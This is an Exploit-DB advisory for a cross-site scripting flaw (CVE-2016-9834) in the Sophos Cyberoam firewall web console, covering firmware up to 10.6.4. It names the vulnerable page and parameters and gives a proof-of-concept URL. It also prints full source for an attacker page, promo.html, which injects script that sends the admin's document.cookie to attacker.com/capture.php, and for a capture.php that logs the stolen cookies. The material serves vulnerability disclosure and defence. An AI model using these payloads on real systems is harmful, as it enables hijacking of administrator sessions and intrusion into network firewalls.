Sophos Cyberoam - Cross-site scripting

EDB-ID:

42062


Platform:

Hardware

Published:

2017-05-25

# Exploit Title: Sophos Cyberoam – Cross-site scripting (XSS) vulnerability
# Date: 25/05/2017
# Exploit Author: Bhadresh Patel
# Version: <= Firmware Version 10.6.4
# CVE : CVE-2016-9834

This is an article with video tutorial for Sophos Cyberoam –
Cross-site scripting (XSS) vulnerability


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Title:
====

Sophos Cyberoam – Cross-site scripting (XSS) vulnerability

Credit:
======

Name: Bhadresh Patel


Date:
====

25/05/2017 (dd/mm/yyyy)

Vendor:
======


More than 100 million users in 150 countries rely on Sophos to offer
end-to-end protection against complex threats and data loss. Sophos is
committed to providing complete, enterprise-grade security solutions that
are simple to deploy, manage and use, and deliver one of the industry's
lowest total cost of ownership. Sophos offers award-winning security
solutions covering endpoint, mobile, server, encryption, web, email, Wi-Fi,
and UTM/next-generation firewall, all backed by SophosLabs -- a global
threat analysis center which provides real-time cloud-enabled security
intelligence. Sophos is headquartered in Oxford, UK.


Vulnerable Product:
==============


Sophos Cyberoam Firewall


Cyberoam Next-Generation Firewalls are based on CyberoamOS – an intelligent
and powerful firmware that offers next-generation security features include
inline application inspection and control, website filtering, HTTPS
inspection, Intrusion Prevention System, VPN (IPSec and SSL) and
QoS/bandwidth management. Additional security features like Web Application
Firewall, Gateway Anti-Virus, Gateway Anti-Spam are also available.


Customer Product link: https://www.cyberoam.com



Abstract:
=======

Cross-site scripting (XSS) vulnerability in Sophos Cyberoam firewall
enables and attackers to execute scripts in a victim’s browser to hijack
user sessions, deface web sites, insert hostile content, redirect users,
hijack the user’s browser using malware, etc.




Affected Software Version:
=============


<= Firmware Version 10.6.4


Vendor Response

=============


Sophos is committed to working with the security community in identifying,
remediating and communicating security issues in our products. Customers
are advised to upgrade their Cyberoam OS to v.10.6.5, which addresses this
issue.


Exploitation-Technique:
===================

Remote


Severity Rating (CVSS):
===================

6.9 (Medium) (CVSS:3.0/AV:N/AC:H/PR:N/UI:R/S:C/C:H/I:L/A:N)



CVE ID:

=======


CVE-2016-9834


Details:

=======

This vulnerability allows remote attackers to execute arbitrary client side
script in the active user’s browser session, when logged into the Cyberoam
firewall. User interaction is required to exploit this vulnerability in
that the target must visit a malicious page or open a malicious file.

The specific flaw exists within the handling of request to
“LiveConnectionDetail.jsp” application. GET parameters “applicationname”
and “username” are improperly sanitized allowing an attacker to inject
arbitrary javascript into the page. This can be abused by an attacker to
perform a cross-site scripting attack on the user.


Vulnerable module/page/application:
/corporate/webpages/trafficdiscovery/LiveConnectionDetail.jsp


Vulnerable parameters: applicationname and username


=======

*PoC*


http://192.168.30.30/corporate/webpages/trafficdiscovery/LiveConnectionDetail.jsp?ipFamily=0&applicationname=OTHER%20APPLICATIONS46449
";alert(document.cookie)//181&username=NA


*PoC Video*


https://www.youtube.com/watch?v=NmLPL2TYPcg


*Real world scenario*


1) Victim (Admin) login to the Sophos Cyberoam web console

2) Sophos Cyberoam FW is on a latest version

3) record.txt is empty on attacker page

4) Victim (Admin) visits attacker URL/page


http://www.attacker.com/promo.html


5) XSS successful and attacker captured cookie in record.txt




-------------------------- Source code (promo.html)
----------------------------------

<html>

<head>

<script>

window.location="
http://192.168.30.30/corporate/webpages/trafficdiscovery/LiveConnectionDetail.jsp?ipFamily=0&applicationname=OTHER%20APPLICATIONS46449\
";document.location='
http://www.attacker.com/capture.php?content='.concat(escape(document.cookie));//181&username=NA
"

</script>

</body>

</html>

-------------------------- Source code (capture.php)
----------------------------------


<?php

file_put_contents('record.txt', $_GET['content']);

echo "<HTML><body><script>window.location=\"
http://192.168.30.30/corporate/webpages/index.jsp\"</script></body></HTML>"

?>




Credits:
=======

Bhadresh Patel


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